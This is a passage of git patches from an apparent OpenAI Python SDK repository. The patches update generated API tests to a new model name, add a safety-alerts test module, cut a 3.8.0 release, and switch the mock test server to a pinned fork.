async def test_method_compact_with_all_params(self, async_client: AsyncOpenAI) -> None:
response = await async_client.beta.responses.compact(
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
input="string",
instructions="instructions",
previous_response_id="resp_123",
@@ -923,7 +927,7 @@ async def test_method_compact_with_all_params(self, async_client: AsyncOpenAI) -
@parametrize
async def test_raw_response_compact(self, async_client: AsyncOpenAI) -> None:
http_response = await async_client.beta.responses.with_raw_response.compact(
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
)
assert http_response.is_closed is True
@@ -934,7 +938,7 @@ async def test_raw_response_compact(self, async_client: AsyncOpenAI) -> None:
@parametrize
async def test_streaming_response_compact(self, async_client: AsyncOpenAI) -> None:
async with async_client.beta.responses.with_streaming_response.compact(
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
) as http_response:
assert not http_response.is_closed
assert http_response.http_request.headers.get("X-Stainless-Lang") == "python"
diff --git a/tests/api_resources/beta/test_threads.py b/tests/api_resources/beta/test_threads.py
index f471c8de73..b955511256 100644
--- a/tests/api_resources/beta/test_threads.py
+++ b/tests/api_resources/beta/test_threads.py
@@ -248,7 +248,7 @@ def test_method_create_and_run_with_all_params_overload_1(self, client: OpenAI)
max_completion_tokens=256,
max_prompt_tokens=256,
metadata={"foo": "string"},
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
parallel_tool_calls=True,
response_format="auto",
stream=False,
@@ -343,7 +343,7 @@ def test_method_create_and_run_with_all_params_overload_2(self, client: OpenAI)
max_completion_tokens=256,
max_prompt_tokens=256,
metadata={"foo": "string"},
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
parallel_tool_calls=True,
response_format="auto",
temperature=1,
@@ -649,7 +649,7 @@ async def test_method_create_and_run_with_all_params_overload_1(self, async_clie
max_completion_tokens=256,
max_prompt_tokens=256,
metadata={"foo": "string"},
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
parallel_tool_calls=True,
response_format="auto",
stream=False,
@@ -744,7 +744,7 @@ async def test_method_create_and_run_with_all_params_overload_2(self, async_clie
max_completion_tokens=256,
max_prompt_tokens=256,
metadata={"foo": "string"},
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
parallel_tool_calls=True,
response_format="auto",
temperature=1,
diff --git a/tests/api_resources/beta/threads/test_runs.py b/tests/api_resources/beta/threads/test_runs.py
index 8ee7f7812d..9d2fad23d2 100644
--- a/tests/api_resources/beta/threads/test_runs.py
+++ b/tests/api_resources/beta/threads/test_runs.py
@@ -57,7 +57,7 @@ def test_method_create_with_all_params_overload_1(self, client: OpenAI) -> None:
max_completion_tokens=256,
max_prompt_tokens=256,
metadata={"foo": "string"},
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
parallel_tool_calls=True,
reasoning_effort="none",
response_format="auto",
@@ -148,7 +148,7 @@ def test_method_create_with_all_params_overload_2(self, client: OpenAI) -> None:
max_completion_tokens=256,
max_prompt_tokens=256,
metadata={"foo": "string"},
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
parallel_tool_calls=True,
reasoning_effort="none",
response_format="auto",
@@ -607,7 +607,7 @@ async def test_method_create_with_all_params_overload_1(self, async_client: Asyn
max_completion_tokens=256,
max_prompt_tokens=256,
metadata={"foo": "string"},
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
parallel_tool_calls=True,
reasoning_effort="none",
response_format="auto",
@@ -698,7 +698,7 @@ async def test_method_create_with_all_params_overload_2(self, async_client: Asyn
max_completion_tokens=256,
max_prompt_tokens=256,
metadata={"foo": "string"},
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
parallel_tool_calls=True,
reasoning_effort="none",
response_format="auto",
diff --git a/tests/api_resources/chat/test_completions.py b/tests/api_resources/chat/test_completions.py
index 41687baf2b..d21835400d 100644
--- a/tests/api_resources/chat/test_completions.py
+++ b/tests/api_resources/chat/test_completions.py
@@ -30,7 +30,7 @@ def test_method_create_overload_1(self, client: OpenAI) -> None:
"role": "developer",
}
],
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
)
assert_matches_type(ChatCompletion, completion, path=["response"])
@@ -44,7 +44,7 @@ def test_method_create_with_all_params_overload_1(self, client: OpenAI) -> None:
"name": "name",
}
],
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
audio={
"format": "wav",
"voice": "alloy",
@@ -137,7 +137,7 @@ def test_raw_response_create_overload_1(self, client: OpenAI) -> None:
"role": "developer",
}
],
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
)
assert response.is_closed is True
@@ -154,7 +154,7 @@ def test_streaming_response_create_overload_1(self, client: OpenAI) -> None:
"role": "developer",
}
],
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
) as response:
assert not response.is_closed
assert response.http_request.headers.get("X-Stainless-Lang") == "python"
@@ -173,7 +173,7 @@ def test_method_create_overload_2(self, client: OpenAI) -> None:
"role": "developer",
}
],
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
stream=True,
)
completion_stream.response.close()
@@ -188,7 +188,7 @@ def test_method_create_with_all_params_overload_2(self, client: OpenAI) -> None:
"name": "name",
}
],
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
stream=True,
audio={
"format": "wav",
@@ -281,7 +281,7 @@ def test_raw_response_create_overload_2(self, client: OpenAI) -> None:
"role": "developer",
}
],
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
stream=True,
)
@@ -298,7 +298,7 @@ def test_streaming_response_create_overload_2(self, client: OpenAI) -> None:
"role": "developer",
}
],
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
stream=True,
) as response:
assert not response.is_closed
@@ -478,7 +478,7 @@ async def test_method_create_overload_1(self, async_client: AsyncOpenAI) -> None
"role": "developer",
}
],
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
)
assert_matches_type(ChatCompletion, completion, path=["response"])
@@ -492,7 +492,7 @@ async def test_method_create_with_all_params_overload_1(self, async_client: Asyn
"name": "name",
}
],
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
audio={
"format": "wav",
"voice": "alloy",
@@ -585,7 +585,7 @@ async def test_raw_response_create_overload_1(self, async_client: AsyncOpenAI) -
"role": "developer",
}
],
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
)
assert response.is_closed is True
@@ -602,7 +602,7 @@ async def test_streaming_response_create_overload_1(self, async_client: AsyncOpe
"role": "developer",
}
],
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
) as response:
assert not response.is_closed
assert response.http_request.headers.get("X-Stainless-Lang") == "python"
@@ -621,7 +621,7 @@ async def test_method_create_overload_2(self, async_client: AsyncOpenAI) -> None
"role": "developer",
}
],
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
stream=True,
)
await completion_stream.response.aclose()
@@ -636,7 +636,7 @@ async def test_method_create_with_all_params_overload_2(self, async_client: Asyn
"name": "name",
}
],
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
stream=True,
audio={
"format": "wav",
@@ -729,7 +729,7 @@ async def test_raw_response_create_overload_2(self, async_client: AsyncOpenAI) -
"role": "developer",
}
],
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
stream=True,
)
@@ -746,7 +746,7 @@ async def test_streaming_response_create_overload_2(self, async_client: AsyncOpe
"role": "developer",
}
],
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
stream=True,
) as response:
assert not response.is_closed
diff --git a/tests/api_resources/responses/test_input_tokens.py b/tests/api_resources/responses/test_input_tokens.py
index fa32e01fd1..c2f17c31cf 100644
--- a/tests/api_resources/responses/test_input_tokens.py
+++ b/tests/api_resources/responses/test_input_tokens.py
@@ -51,6 +51,7 @@ def test_method_count_with_all_params(self, client: OpenAI) -> None:
"strict": True,
"type": "function",
"allowed_callers": ["direct"],
+ "async": True,
"defer_loading": True,
"description": "description",
"output_schema": {"foo": "bar"},
@@ -120,6 +121,7 @@ async def test_method_count_with_all_params(self, async_client: AsyncOpenAI) ->
"strict": True,
"type": "function",
"allowed_callers": ["direct"],
+ "async": True,
"defer_loading": True,
"description": "description",
"output_schema": {"foo": "bar"},
diff --git a/tests/api_resources/safety/__init__.py b/tests/api_resources/safety/__init__.py
new file mode 100644
index 0000000000..d7a8b19970
--- /dev/null
+++ b/tests/api_resources/safety/__init__.py
@@ -0,0 +1 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
diff --git a/tests/api_resources/safety/test_alerts.py b/tests/api_resources/safety/test_alerts.py
new file mode 100644
index 0000000000..6df772d326
--- /dev/null
+++ b/tests/api_resources/safety/test_alerts.py
@@ -0,0 +1,100 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+import os
+from typing import Any, cast
+
+import pytest
+
+from openai import OpenAI, AsyncOpenAI
+from tests.utils import assert_matches_type
+from openai.types.safety import SafetyAlert
+
+base_url = os.environ.get("TEST_API_BASE_URL", "http://127.0.0.1:4010")
+
+
+class TestAlerts:
+ parametrize = pytest.mark.parametrize("client", [False, True], indirect=True, ids=["loose", "strict"])
+
+ @parametrize
+ def test_method_retrieve(self, client: OpenAI) -> None:
+ alert = client.safety.alerts.retrieve(
+ "id",
+ )
+ assert_matches_type(SafetyAlert, alert, path=["response"])
+
+ @parametrize
+ def test_raw_response_retrieve(self, client: OpenAI) -> None:
+ response = client.safety.alerts.with_raw_response.retrieve(
+ "id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ alert = response.parse()
+ assert_matches_type(SafetyAlert, alert, path=["response"])
+
+ @parametrize
+ def test_streaming_response_retrieve(self, client: OpenAI) -> None:
+ with client.safety.alerts.with_streaming_response.retrieve(
+ "id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ alert = response.parse()
+ assert_matches_type(SafetyAlert, alert, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ def test_path_params_retrieve(self, client: OpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `id` but received ''"):
+ client.safety.alerts.with_raw_response.retrieve(
+ "",
+ )
+
+
+class TestAsyncAlerts:
+ parametrize = pytest.mark.parametrize(
+ "async_client", [False, True, {"http_client": "aiohttp"}], indirect=True, ids=["loose", "strict", "aiohttp"]
+ )
+
+ @parametrize
+ async def test_method_retrieve(self, async_client: AsyncOpenAI) -> None:
+ alert = await async_client.safety.alerts.retrieve(
+ "id",
+ )
+ assert_matches_type(SafetyAlert, alert, path=["response"])
+
+ @parametrize
+ async def test_raw_response_retrieve(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.safety.alerts.with_raw_response.retrieve(
+ "id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ alert = response.parse()
+ assert_matches_type(SafetyAlert, alert, path=["response"])
+
+ @parametrize
+ async def test_streaming_response_retrieve(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.safety.alerts.with_streaming_response.retrieve(
+ "id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ alert = await response.parse()
+ assert_matches_type(SafetyAlert, alert, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ async def test_path_params_retrieve(self, async_client: AsyncOpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `id` but received ''"):
+ await async_client.safety.alerts.with_raw_response.retrieve(
+ "",
+ )
diff --git a/tests/api_resources/test_models.py b/tests/api_resources/test_models.py
index a022e7ff0b..924458da14 100644
--- a/tests/api_resources/test_models.py
+++ b/tests/api_resources/test_models.py
@@ -21,14 +21,14 @@ class TestModels:
@parametrize
def test_method_retrieve(self, client: OpenAI) -> None:
model = client.models.retrieve(
- "gpt-5.6-sol",
+ "gpt-6-astra",
)
assert_matches_type(Model, model, path=["response"])
@parametrize
def test_raw_response_retrieve(self, client: OpenAI) -> None:
response = client.models.with_raw_response.retrieve(
- "gpt-5.6-sol",
+ "gpt-6-astra",
)
assert response.is_closed is True
@@ -39,7 +39,7 @@ def test_raw_response_retrieve(self, client: OpenAI) -> None:
@parametrize
def test_streaming_response_retrieve(self, client: OpenAI) -> None:
with client.models.with_streaming_response.retrieve(
- "gpt-5.6-sol",
+ "gpt-6-astra",
) as response:
assert not response.is_closed
assert response.http_request.headers.get("X-Stainless-Lang") == "python"
@@ -128,14 +128,14 @@ class TestAsyncModels:
@parametrize
async def test_method_retrieve(self, async_client: AsyncOpenAI) -> None:
model = await async_client.models.retrieve(
- "gpt-5.6-sol",
+ "gpt-6-astra",
)
assert_matches_type(Model, model, path=["response"])
@parametrize
async def test_raw_response_retrieve(self, async_client: AsyncOpenAI) -> None:
response = await async_client.models.with_raw_response.retrieve(
- "gpt-5.6-sol",
+ "gpt-6-astra",
)
assert response.is_closed is True
@@ -146,7 +146,7 @@ async def test_raw_response_retrieve(self, async_client: AsyncOpenAI) -> None:
@parametrize
async def test_streaming_response_retrieve(self, async_client: AsyncOpenAI) -> None:
async with async_client.models.with_streaming_response.retrieve(
- "gpt-5.6-sol",
+ "gpt-6-astra",
) as response:
assert not response.is_closed
assert response.http_request.headers.get("X-Stainless-Lang") == "python"
diff --git a/tests/api_resources/test_responses.py b/tests/api_resources/test_responses.py
index 4205aca6b7..c6b75161b7 100644
--- a/tests/api_resources/test_responses.py
+++ b/tests/api_resources/test_responses.py
@@ -42,7 +42,7 @@ def test_method_create_with_all_params_overload_1(self, client: OpenAI) -> None:
max_output_tokens=16,
max_tool_calls=0,
metadata={"foo": "string"},
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
moderation={
"model": "model",
"policy": {
@@ -88,6 +88,7 @@ def test_method_create_with_all_params_overload_1(self, client: OpenAI) -> None:
"strict": True,
"type": "function",
"allowed_callers": ["direct"],
+ "async": True,
"defer_loading": True,
"description": "description",
"output_schema": {"foo": "bar"},
@@ -145,7 +146,7 @@ def test_method_create_with_all_params_overload_2(self, client: OpenAI) -> None:
max_output_tokens=16,
max_tool_calls=0,
metadata={"foo": "string"},
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
moderation={
"model": "model",
"policy": {
@@ -190,6 +191,7 @@ def test_method_create_with_all_params_overload_2(self, client: OpenAI) -> None:
"strict": True,
"type": "function",
"allowed_callers": ["direct"],
+ "async": True,
"defer_loading": True,
"description": "description",
"output_schema": {"foo": "bar"},
@@ -405,14 +407,14 @@ def test_path_params_cancel(self, client: OpenAI) -> None:
@parametrize
def test_method_compact(self, client: OpenAI) -> None:
response = client.responses.compact(
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
)
assert_matches_type(CompactedResponse, response, path=["response"])
@parametrize
def test_method_compact_with_all_params(self, client: OpenAI) -> None:
response = client.responses.compact(
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
input="string",
instructions="instructions",
previous_response_id="resp_123",
@@ -429,7 +431,7 @@ def test_method_compact_with_all_params(self, client: OpenAI) -> None:
@parametrize
def test_raw_response_compact(self, client: OpenAI) -> None:
http_response = client.responses.with_raw_response.compact(
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
)
assert http_response.is_closed is True
@@ -440,7 +442,7 @@ def test_raw_response_compact(self, client: OpenAI) -> None:
@parametrize
def test_streaming_response_compact(self, client: OpenAI) -> None:
with client.responses.with_streaming_response.compact(
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
) as http_response:
assert not http_response.is_closed
assert http_response.http_request.headers.get("X-Stainless-Lang") == "python"
@@ -478,7 +480,7 @@ async def test_method_create_with_all_params_overload_1(self, async_client: Asyn
max_output_tokens=16,
max_tool_calls=0,
metadata={"foo": "string"},
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
moderation={
"model": "model",
"policy": {
@@ -524,6 +526,7 @@ async def test_method_create_with_all_params_overload_1(self, async_client: Asyn
"strict": True,
"type": "function",
"allowed_callers": ["direct"],
+ "async": True,
"defer_loading": True,
"description": "description",
"output_schema": {"foo": "bar"},
@@ -581,7 +584,7 @@ async def test_method_create_with_all_params_overload_2(self, async_client: Asyn
max_output_tokens=16,
max_tool_calls=0,
metadata={"foo": "string"},
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
moderation={
"model": "model",
"policy": {
@@ -626,6 +629,7 @@ async def test_method_create_with_all_params_overload_2(self, async_client: Asyn
"strict": True,
"type": "function",
"allowed_callers": ["direct"],
+ "async": True,
"defer_loading": True,
"description": "description",
"output_schema": {"foo": "bar"},
@@ -841,14 +845,14 @@ async def test_path_params_cancel(self, async_client: AsyncOpenAI) -> None:
@parametrize
async def test_method_compact(self, async_client: AsyncOpenAI) -> None:
response = await async_client.responses.compact(
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
)
assert_matches_type(CompactedResponse, response, path=["response"])
@parametrize
async def test_method_compact_with_all_params(self, async_client: AsyncOpenAI) -> None:
response = await async_client.responses.compact(
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
input="string",
instructions="instructions",
previous_response_id="resp_123",
@@ -865,7 +869,7 @@ async def test_method_compact_with_all_params(self, async_client: AsyncOpenAI) -
@parametrize
async def test_raw_response_compact(self, async_client: AsyncOpenAI) -> None:
http_response = await async_client.responses.with_raw_response.compact(
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
)
assert http_response.is_closed is True
@@ -876,7 +880,7 @@ async def test_raw_response_compact(self, async_client: AsyncOpenAI) -> None:
@parametrize
async def test_streaming_response_compact(self, async_client: AsyncOpenAI) -> None:
async with async_client.responses.with_streaming_response.compact(
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
) as http_response:
assert not http_response.is_closed
assert http_response.http_request.headers.get("X-Stainless-Lang") == "python"
diff --git a/tests/lib/responses/test_client_event_compat.py b/tests/lib/responses/test_client_event_compat.py
new file mode 100644
index 0000000000..c000228003
--- /dev/null
+++ b/tests/lib/responses/test_client_event_compat.py
@@ -0,0 +1,82 @@
+from types import ModuleType
+
+import pytest
+
+from openai.types.responses import responses_client_event as event, responses_client_event_param as param
+
+
+@pytest.mark.parametrize("module", [event, param])
+@pytest.mark.parametrize(
+ "name",
+ [
+ "ContextManagement",
+ "Conversation",
+ "Moderation",
+ "ModerationPolicy",
+ "ModerationPolicyInput",
+ "ModerationPolicyOutput",
+ "PromptCacheOptions",
+ "StreamOptions",
+ "ToolChoice",
+ "ToolChoiceSpecificProgrammaticToolCallingParam",
+ ],
+)
+def test_legacy_helper_exports(module: ModuleType, name: str) -> None:
+ assert name in module.__all__
+ assert getattr(module, name) is getattr(module, f"ResponseCreate{name}")
+
+
+def test_legacy_model_helpers() -> None:
+ context: event.ContextManagement = event.ContextManagement(type="compaction", compact_threshold=1000)
+ conversation: event.Conversation = "conv_test"
+ tool_choice: event.ToolChoice = event.ToolChoiceSpecificProgrammaticToolCallingParam(
+ type="programmatic_tool_calling"
+ )
+ response = event.ResponseCreate(
+ type="response.create",
+ context_management=[context],
+ conversation=conversation,
+ moderation=event.Moderation(
+ model="omni-moderation-latest",
+ policy=event.ModerationPolicy(
+ input=event.ModerationPolicyInput(mode="score"),
+ output=event.ModerationPolicyOutput(mode="block"),
+ ),
+ ),
+ prompt_cache_options=event.PromptCacheOptions(mode="explicit"),
+ stream_options=event.StreamOptions(include_obfuscation=False),
+ tool_choice=tool_choice,
+ )
+ assert response.context_management == [context]
+ assert response.to_dict(exclude_unset=True)["moderation"] == {
+ "model": "omni-moderation-latest",
+ "policy": {"input": {"mode": "score"}, "output": {"mode": "block"}},
+ }
+
+
+def test_legacy_param_helpers() -> None:
+ context: param.ContextManagement = {"type": "compaction", "compact_threshold": 1000}
+ conversation: param.Conversation = "conv_test"
+ tool_choice: param.ToolChoice = param.ToolChoiceSpecificProgrammaticToolCallingParam(
+ type="programmatic_tool_calling"
+ )
+ response: param.ResponseCreate = {
+ "type": "response.create",
+ "context_management": [context],
+ "conversation": conversation,
+ "moderation": param.Moderation(
+ model="omni-moderation-latest",
+ policy=param.ModerationPolicy(
+ input=param.ModerationPolicyInput(mode="score"),
+ output=param.ModerationPolicyOutput(mode="block"),
+ ),
+ ),
+ "prompt_cache_options": param.PromptCacheOptions(mode="explicit"),
+ "stream_options": param.StreamOptions(include_obfuscation=False),
+ "tool_choice": tool_choice,
+ }
+ assert response["context_management"] == [context]
+ assert response["moderation"] == {
+ "model": "omni-moderation-latest",
+ "policy": {"input": {"mode": "score"}, "output": {"mode": "block"}},
+ }
From 88391abf981df3ea395ca1b5bf55ec6a4011ea93 Mon Sep 17 00:00:00 2001
From: "openai-sdks[bot]" <284451331+openai-sdks[bot]@users.noreply.github.com>
Date: Thu, 3 Sep 2026 15:49:59 -0400
Subject: [PATCH 097/341] release: 3.8.0 (#3785)
Automated Release PR
---
##
[3.8.0](https://github.com/openai/openai-python/compare/v3.7.0...v3.8.0)
(2026-09-03)
### Features
* **api:** add gpt-6-astra and related features
([#3791](https://github.com/openai/openai-python/issues/3791))
([09f446f](https://github.com/openai/openai-python/commit/09f446f5f8623d79464568dc91b9dc258e74bcae))
### Documentation
* add canonical SDK security model
([#3778](https://github.com/openai/openai-python/issues/3778))
([2a097b9](https://github.com/openai/openai-python/commit/2a097b991bb23a26bde9da8ea286f850ac1329f1))
---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).
Co-authored-by: openai-sdks[bot] <284451331+openai-sdks[bot]@users.noreply.github.com>
---
.release-please-manifest.json | 2 +-
CHANGELOG.md | 12 ++++++++++++
pyproject.toml | 2 +-
src/openai/_version.py | 2 +-
uv.lock | 2 +-
5 files changed, 16 insertions(+), 4 deletions(-)
diff --git a/.release-please-manifest.json b/.release-please-manifest.json
index 27d2fbbc0c..078b9e28f8 100644
--- a/.release-please-manifest.json
+++ b/.release-please-manifest.json
@@ -1,3 +1,3 @@
{
- ".": "3.7.0"
+ ".": "3.8.0"
}
\ No newline at end of file
diff --git a/CHANGELOG.md b/CHANGELOG.md
index 9a52b65cf8..e7f105eda3 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -1,5 +1,17 @@
# Changelog
+## [3.8.0](https://github.com/openai/openai-python/compare/v3.7.0...v3.8.0) (2026-09-03)
+
+
+### Features
+
+* **api:** add gpt-6-astra and related features ([#3791](https://github.com/openai/openai-python/issues/3791)) ([09f446f](https://github.com/openai/openai-python/commit/09f446f5f8623d79464568dc91b9dc258e74bcae))
+
+
+### Documentation
+
+* add canonical SDK security model ([#3778](https://github.com/openai/openai-python/issues/3778)) ([2a097b9](https://github.com/openai/openai-python/commit/2a097b991bb23a26bde9da8ea286f850ac1329f1))
+
## [3.7.0](https://github.com/openai/openai-python/compare/v3.6.0...v3.7.0) (2026-09-02)
diff --git a/pyproject.toml b/pyproject.toml
index 96991a12f1..2f7f6de0c5 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -1,6 +1,6 @@
[project]
name = "openai"
-version = "3.7.0"
+version = "3.8.0"
description = "The official Python library for the openai API"
dynamic = ["readme"]
license = "Apache-2.0"
diff --git a/src/openai/_version.py b/src/openai/_version.py
index a9497b6b97..7215d4370d 100644
--- a/src/openai/_version.py
+++ b/src/openai/_version.py
@@ -1,2 +1,2 @@
__title__ = "openai"
-__version__ = "3.7.0" # x-release-please-version
+__version__ = "3.8.0" # x-release-please-version
diff --git a/uv.lock b/uv.lock
index 85086bbd0d..f1811f32b7 100644
--- a/uv.lock
+++ b/uv.lock
@@ -1524,7 +1524,7 @@ wheels = [
[[package]]
name = "openai"
-version = "3.7.0" # x-release-please-version
+version = "3.8.0" # x-release-please-version
source = { editable = "." }
dependencies = [
{ name = "anyio" },
From b24aeda89980aff382c641366cce869082056b83 Mon Sep 17 00:00:00 2001
From: Alex Chang
Date: Fri, 4 Sep 2026 01:20:34 +0000
Subject: [PATCH 098/341] chore: migrate to forked steady (#3795)
migrate to forked steady
---
.github/workflows/ci.yml | 3 +
.gitignore | 2 +
CONTRIBUTING.md | 26 ++++--
package.json | 1 -
pnpm-lock.yaml | 56 ------------
scripts/bootstrap-node | 2 +
scripts/run-steady | 16 ++--
scripts/steady/install | 39 ++++++++
scripts/steady/manifest.json | 17 ++++
scripts/steady/publication.test.cjs | 60 +++++++++++++
scripts/steady/publish.cjs | 22 +++++
scripts/steady/settings | 54 +++++++++++
scripts/steady/source-sha256.cjs | 30 +++++++
scripts/steady/test.cjs | 135 ++++++++++++++++++++++++++++
scripts/steady/update.cjs | 52 +++++++++++
scripts/utils/node-tooling.cjs | 16 +---
tests/node-tooling.test.cjs | 22 ++---
17 files changed, 458 insertions(+), 95 deletions(-)
create mode 100755 scripts/steady/install
create mode 100644 scripts/steady/manifest.json
create mode 100644 scripts/steady/publication.test.cjs
create mode 100644 scripts/steady/publish.cjs
create mode 100644 scripts/steady/settings
create mode 100644 scripts/steady/source-sha256.cjs
create mode 100644 scripts/steady/test.cjs
create mode 100644 scripts/steady/update.cjs
diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml
index 42277ec85d..de7adf7905 100644
--- a/.github/workflows/ci.yml
+++ b/.github/workflows/ci.yml
@@ -177,6 +177,9 @@ jobs:
- name: Bootstrap
run: ./scripts/bootstrap
+ - name: Check concurrent Steady publication
+ run: node scripts/steady/publication.test.cjs
+
- name: Run tests
run: ./scripts/test
diff --git a/.gitignore b/.gitignore
index 69a97af0aa..908b2e71c4 100644
--- a/.gitignore
+++ b/.gitignore
@@ -21,3 +21,5 @@ Brewfile.lock.json
.DS_Store
examples/*.mp3
+
+/scripts/steady/.cache/
diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md
index b3cf767549..5e71fffe08 100644
--- a/CONTRIBUTING.md
+++ b/CONTRIBUTING.md
@@ -172,11 +172,27 @@ $ pip install ./path-to-wheel-file.whl
## Running tests
-Most tests require you to [set up a mock server](https://github.com/dgellow/steady) against the OpenAPI spec to run the tests.
-
-`./scripts/bootstrap` installs the locked Steady package and its platform
-binary. `./scripts/test` starts it automatically when no mock server is running.
-Neither `./scripts/test` nor `./scripts/mock` downloads Node tools. If the local
+The mock server uses [the OpenAI Steady fork](https://github.com/openai-oss-forks/steady).
+`scripts/steady/manifest.json` is the single source of dependency pins: the
+Steady Git commit and source digest, plus the Deno version and runtime checksums. `./scripts/steady/install` fetches that source, verifies the runtime,
+and caches dependencies using the fork's frozen Deno lockfile. It requires
+Git, Node.js, curl, unzip, and sha256sum or shasum. The installation supports
+macOS and Linux on x64/ARM64, and Windows x64 through Git Bash.
+
+`./scripts/run-steady` verifies the local source and runtime, then runs without
+downloading dependencies. Pass a local OpenAPI specification path. To update
+Steady, review the fork commit and run
+`node scripts/steady/update.cjs `. This updates the manifest
+with the commit and its source digest; no launcher or test edits are needed.
+Then run `./scripts/steady/install`. Review the release checksums when changing Deno.
+Run `node scripts/steady/test.cjs` to check the
+installation, integrity checks, and mock-server lifecycle.
+
+
+Most tests require you to [set up a mock server](https://github.com/openai-oss-forks/steady) against the OpenAPI spec to run the tests.
+
+`./scripts/bootstrap` installs the pinned Steady source and Deno runtime. `./scripts/test` starts it automatically when no mock server is running.
+Neither `./scripts/test` nor `./scripts/mock` downloads mock tooling. If the local
tool is missing, rerun bootstrap. `TEST_API_BASE_URL` and an already-running
mock server remain supported. To start the server yourself:
diff --git a/package.json b/package.json
index 14ae4b4490..f59fc8a0fa 100644
--- a/package.json
+++ b/package.json
@@ -6,7 +6,6 @@
"node": "22.22.3"
},
"devDependencies": {
- "@stdy/cli": "0.22.2",
"pyright": "1.1.413"
}
}
diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml
index 35fd49ecae..7c8d72d258 100644
--- a/pnpm-lock.yaml
+++ b/pnpm-lock.yaml
@@ -8,45 +8,12 @@ importers:
.:
devDependencies:
- '@stdy/cli':
- specifier: 0.22.2
- version: 0.22.2
pyright:
specifier: 1.1.413
version: 1.1.413
packages:
- '@stdy/cli-darwin-arm64@0.22.2':
- resolution: {integrity: sha512-k5WGyCQl7DDpYWy3BI5TxGIxOdUpMeJ0q7kUi1EYs7Y72B/q0hIKDv3/fCgoZPWBI+N9XjnlSyetaxVQTRvWow==}
- cpu: [arm64]
- os: [darwin]
-
- '@stdy/cli-darwin-x64@0.22.2':
- resolution: {integrity: sha512-BYbQhEqBiEd+G9IyXWLpgAcSXFKMr6W3ZQXiOS3O5NnOWv+bNuyo793eBvEJ5fRKiuCV6n/ANVSJZLFOf6Nzog==}
- cpu: [x64]
- os: [darwin]
-
- '@stdy/cli-linux-arm64@0.22.2':
- resolution: {integrity: sha512-HjSQdAt40CpYIauUKJ1xyIEsdrf5LtQP1x8Su7BEZJN94807ROJXxabW+jXyc48823tVBkrnxNUUTrBK4TVTRw==}
- cpu: [arm64]
- os: [linux]
-
- '@stdy/cli-linux-x64@0.22.2':
- resolution: {integrity: sha512-kp5QdG26EC8gEzVXI0YgzmiiFHz7DFCNRLNfAWa2rDPHr/jUBnfkP8AlbTPmv0YNQpnKn1wzSWHFw88fn/OTog==}
- cpu: [x64]
- os: [linux]
-
- '@stdy/cli-win32-x64@0.22.2':
- resolution: {integrity: sha512-7ZsJltOYVvMTl6eAy1AKMya7TFhb629FXr/BKZTyQsBrPj28rAaebQSTFYs1IZN0+n6LnJTpue6m4SIkevqBNA==}
- cpu: [x64]
- os: [win32]
-
- '@stdy/cli@0.22.2':
- resolution: {integrity: sha512-37UQfqcOSv1kevXJDt4FUA/l3vc62gzahzMcKJx5qL/kSt5ExRg++hGMwV1/PTRLIBOgbMzpKfoK26TaUYkdng==}
- engines: {node: '>=14.0.0'}
- hasBin: true
-
fsevents@2.3.3:
